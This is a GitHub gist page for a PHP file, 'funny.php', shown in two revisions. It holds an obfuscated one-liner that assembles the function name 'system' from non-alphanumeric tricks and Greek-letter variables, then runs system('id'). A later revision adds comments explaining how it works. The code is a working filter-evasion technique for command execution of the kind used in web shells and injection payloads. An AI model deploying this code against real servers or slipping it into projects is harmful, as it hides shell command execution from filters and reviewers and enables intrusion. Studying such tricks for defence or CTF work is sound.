Skip to content

Instantly share code, notes, and snippets.

@elamaran619
Forked from terjanq/funny.php
Created March 16, 2021 15:34
Show Gist options
  • Select an option

  • Save elamaran619/941e009e8b355b5461d77c439c2f2d4d to your computer and use it in GitHub Desktop.

Select an option

Save elamaran619/941e009e8b355b5461d77c439c2f2d4d to your computer and use it in GitHub Desktop.

Revisions

  1. @terjanq terjanq revised this gist May 4, 2020. 1 changed file with 13 additions and 1 deletion.
    14 changes: 13 additions & 1 deletion funny.php
    Original file line number Diff line number Diff line change
    @@ -1,2 +1,14 @@
    /* system(id) */
    <?=$Φ=([].Φ)[![]+![]+![]]?><?=$Χ=++$Φ?><?=$Ψ=++$Χ?><?=$Ω=++$Ψ?><?=$Ϊ=++$Ω?><?=$Ϋ=++$Ϊ?><?=$ά=++$Ϋ?><?=$έ=++$ά?><?=$ή=++$έ?><?=$ί=++$ή?><?=$ΰ=++$ί?><?=$α=++$ΰ?><?=$β=++$α?><?=$γ=++$β?><?=$δ=++$γ?><?=$ε=++$δ?><?=$ζ=++$ε?><?=$η=++$ζ?><?=$θ=++$η?><?=$ι=++$θ?><?=$κ=++$ι?><?=$λ=++$κ?><?=$μ=++$λ?><?=$ν=++$μ?><?=$ξ=++$ν?><?=$ο=++$ξ?><?=$ο=([].Φ)[![]+![]+![]]?><?=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?>
    <?=$Φ=([].Φ)[![]+![]+![]]?><?=$Χ=++$Φ?><?=$Ψ=++$Χ?><?=$Ω=++$Ψ?><?=$Ϊ=++$Ω?><?=$Ϋ=++$Ϊ?><?=$ά=++$Ϋ?><?=$έ=++$ά?><?=$ή=++$έ?><?=$ί=++$ή?><?=$ΰ=++$ί?><?=$α=++$ΰ?><?=$β=++$α?><?=$γ=++$β?><?=$δ=++$γ?><?=$ε=++$δ?><?=$ζ=++$ε?><?=$η=++$ζ?><?=$θ=++$η?><?=$ι=++$θ?><?=$κ=++$ι?><?=$λ=++$κ?><?=$μ=++$λ?><?=$ν=++$μ?><?=$ξ=++$ν?><?=$ο=++$ξ?><?=$ο=([].Φ)[![]+![]+![]]?><?=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?>


    <!--
    Explanation:
    - Some of the characters might look like alphanumeric, but they are Unicode characters.
    - 'ArrayΦ' <-> [].Φ
    - 1 <-> ![]
    - 'a' <-> ([].Φ)[![]+![]+![]]
    - 'b' <-> $a = 'a'; $b=++$a;
    - 'system' <-> $η.$ν.$η.$θ.$Ω.$α
    - 'system'(id) <-> system('id')
    -->
  2. @terjanq terjanq created this gist May 4, 2020.
    2 changes: 2 additions & 0 deletions funny.php
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,2 @@
    /* system(id) */
    <?=$Φ=([].Φ)[![]+![]+![]]?><?=$Χ=++$Φ?><?=$Ψ=++$Χ?><?=$Ω=++$Ψ?><?=$Ϊ=++$Ω?><?=$Ϋ=++$Ϊ?><?=$ά=++$Ϋ?><?=$έ=++$ά?><?=$ή=++$έ?><?=$ί=++$ή?><?=$ΰ=++$ί?><?=$α=++$ΰ?><?=$β=++$α?><?=$γ=++$β?><?=$δ=++$γ?><?=$ε=++$δ?><?=$ζ=++$ε?><?=$η=++$ζ?><?=$θ=++$η?><?=$ι=++$θ?><?=$κ=++$ι?><?=$λ=++$κ?><?=$μ=++$λ?><?=$ν=++$μ?><?=$ξ=++$ν?><?=$ο=++$ξ?><?=$ο=([].Φ)[![]+![]+![]]?><?=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?>